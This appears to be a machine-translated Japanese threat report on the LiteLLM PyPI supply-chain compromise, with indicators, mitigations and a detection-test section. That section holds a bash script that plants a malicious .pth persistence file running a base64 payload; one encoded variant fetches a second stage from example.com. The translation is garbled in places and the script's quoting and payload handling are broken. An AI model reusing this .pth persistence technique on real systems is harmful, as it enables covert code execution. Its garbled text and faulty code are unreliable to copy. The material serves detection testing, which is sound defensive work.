あなたのAIゲートウェイがバックドアに：LiteLLMサプライチェーン妥協の内側

概要

サプライチェーンの妥協が広く使用されているPythonパッケージLiteLLMにPyPIで影響しました。悪意のあるリリース1.82.7と1.82.8は、クラウド認証情報、SSHキー、およびKubernetesシークレットを盗むように設計された三段階のペイロードを配信し、その後クラスタ内でのピボットと永続的なバックドアを確立します。この活動は犯罪グループTeamPCPに帰属し、TrivyやCheckmarxを含むセキュリティツーリングに関与した以前の妥協に関連しているようです。

調査

調査官は、個人アクセスTokenを公開する危険なTrivy GitHub Actionが侵入チェーンにリンクされ、PyPIに対する毒されたLiteLLMバージョンの強制プッシュを可能にしたことを確認しました。コードレビューでは、RSA-4096とAES-256を使用して攻撃者管理のドメインへの保護されたステージングおよび流出を行うレイヤードなBase64重いPythonローダーが明らかにされました。ペイロードはまた、ホストファイルシステムにアクセスしてコレクションを拡大するためのKubernetesポッドも作成しました。PyPI、npm、Docker Hub、GitHubアクション、およびOpenVSX間でのインフラストラクチャの再利用により、孤立したパッケージ乗っ取りではなく協調的な多エコシステムキャンペーンが示されました。

緩和策

特定された悪意のあるドメインをブロックし、潜在的に露出した認証情報を更新し、LiteLLM_init.pthアーチファクトを削除してください。sysmon.serviceのsystemdユーザーユニット経由での永続性を追跡し、予期しない.pthファイルの作成を調査します。ハッシュで検証したインストールを強化することにより、サプライチェーンの露出を減らし、未評価のポストインストール動作を制限または禁止し、外向きフィルタリングを適用します。可能であれば、知られたバレットプルーフホスティングASNに関連するトラフィックを警告するためにJARMフィンガープリントモニタリングを追加してください。

対応

もし侵入が疑われる場合は、影響を受けたシステムを隔離し、悪意のあるPythonプロセスを終了し、trojan化されたLiteLLMパッケージと永続性ファイルを削除してください。全ての収集されたシークレットを直ちに更新し、クラウド認証情報とLLM APIキーを優先してください。Base64エンコードされたPython実行チェーン、.pthファイルドロップ、およびmodels.litellm.cloudまたはcheckmarx.zoneへの異常なHTTPS POST活動の検出を展開してください。

キーワード: LiteLLM、サプライチェーン攻撃、PyPI、TeamPCP、Trivy、Checkmarx、GitHub Actions、Kubernetesシークレット、.pth永続性、認証情報の窃取、RSA-4096、AES-256、外向きフィルタリング、JARMフィンガープリント

シミュレーション実行

前提条件: テレメトリとベースラインの前飛行チェックが合格している必要があります。

根拠: このセクションは、検出ルールを引き起こすように設計された敵対者の技法 (TTP) の正確な実行を詳細に説明します。コマンドと説明は明確に特定されたTTPを反映し、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。抽象的または無関係な例は誤診につながります。

• 攻撃の状況説明とコマンド:
  一般公開を妥協した攻撃者 LiteLLM PyPIパッケージが悪意のある .pth という名前のファイルを注入します LiteLLM_init.pth。このファイルはグローバルなsite‑packagesディレクトリに配置され、 any Pythonインタープリターが開始するたびに処理されます。 .pth はbase64エンコードされたペイロードを実行する subprocess.Popenによって1行を含みます。ペイロードは、C2サーバーからHTTPS経由で第2ステージツールをダウンロードし、 /tmp/creds.txt (T1552.*)に盗まれた資格情報を書き込みます。インタープリター開始フックを使用することで、攻撃者はsystemdユニットを変更することなく持続性を達成し、多くの従来のプロセス作成ベースラインを回避します。

  シミュレートされた手順は以下の通りです:

  1. 悪意のある .pth .pth 埋め込みPythonコードでファイルを作成します。
  2. Pythonインタープリター開始をトリガーする (例: python3 -c "import sys") 、 .pth が実行されるようにします。
  3. 埋め込まれたコードは base64ペイロードをデコードし 、 subprocess.Popenでそれを起動し、コマンドラインに LiteLLM_init.pth と subprocess.Popen.

• の両方を含むプロセスを生成します。
  回帰テストスクリプト:

  以下のスクリプトは、Ubuntuテストホストでの攻撃シミュレーション全体を自動化します。 
  
  #!/usr/bin/env bash
  set -euo pipefail
  
  # ---------- 1. 悪意のある.pthペイロードを作成 ----------
  MALICIOUS_PTH_PATH="/usr/local/lib/python3.8/dist-packages/LiteLLM_init.pth"
  PAYLOAD_B64="aW1wb3J0IHN1YnByb2Nlc3MsIGJhc2U2NApzb3VyY2U9J2h0dHBzOi8vZXhhbXBsZS5jb20vc2Vjb25kX3N0YWdlLnB5JwoKc3VicHJvY2Vzcy5Qb3BlbihuYW1lPXNvdXJjZSwgc2hlbGxfcGF0aD0iL2Jpbj9jaG93IiwgY2xhc3M9ZnVuY3Rpb24oKSB7fSlzc2V0ZXJ0JkNsb3JlZChzc2V0KX0p"
  # 上記は、セカンドステージペイロードをダウンロードするちょっとしたPythonスクリプトにデコードされます。
  # テスト環境での安全性のために、無害なエコーコマンドに置き換えています。
  PAYLOAD_B64=$(echo -n "import subprocess,base64; subprocess.Popen(['bash','-c','echo malicious executed >> /tmp/malicious.log'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)" | base64 -w0)
  
  # .pthファイルに書き込み – インタープリター開始時にPythonコードとして行が実行されます
  echo "exec('import base64, subprocess; subprocess.Popen(base64.b64decode("${PAYLOAD_B64}"), shell=True)')" | sudo tee "${MALICIOUS_PTH_PATH}" >/dev/null
  
  echo "[+] 悪意のある.pthファイルが${MALICIOUS_PTH_PATH}に作成されました"
  
  # ---------- 2. インタープリター開始をトリガー (テレメトリを生成) ----------
  echo "[+] Pythonインタープリターを読み込む.pthをトリガー..."
  python3 -c "import sys; print('trigger')"
  
  # ---------- 3. ペイロードが実行されたことを確認 ----------
  if grep -q "malicious executed" /tmp/malicious.log; then
    echo "[+] ペイロードが正常に実行されました – 検出が発火するはずです。"
  else
    echo "[-] ペイロードは実行されませんでした – .pthの配置と権限を確認してください。"
  fi

• クリーンアップコマンド: #!/usr/bin/env bash set -euo pipefail MALICIOUS_PTH_PATH=”/usr/local/lib/python3.8/dist-packages/LiteLLM_init.pth” # 悪意のある.pthファイルを削除する if sudo test -f “${MALICIOUS_PTH_PATH}”; then sudo rm -f “${MALICIOUS_PTH_PATH}” echo “[+] 悪意のある.pthファイルが削除されました。” fi # ペイロードによって作成された痕跡ファイルを削除 if test -f “/tmp/malicious.log”; then sudo rm -f “/tmp/malicious.log” echo “[+] /tmp/malicious.logをクリーンアップしました。” fi # 必要に応じて監査ルールを削除(専用のテストルールを追加した場合) # sudo auditctl -d always,exit -F arch=b64 -S execve -k process_creation

  #!/usr/bin/env bash
  set -euo pipefail
  
  MALICIOUS_PTH_PATH="/usr/local/lib/python3.8/dist-packages/LiteLLM_init.pth"
  
  # Remove the malicious .pth file
  if sudo test -f "${MALICIOUS_PTH_PATH}"; then
      sudo rm -f "${MALICIOUS_PTH_PATH}"
      echo "[+] Removed malicious .pth file."
  fi
  
  # Delete the evidence file created by the payload
  if test -f "/tmp/malicious.log"; then
      sudo rm -f "/tmp/malicious.log"
      echo "[+] Cleaned up /tmp/malicious.log."
  fi
  
  # Optionally remove the audit rule (if you added a dedicated test rule)
  # sudo auditctl -d always,exit -F arch=b64 -S execve -k process_creation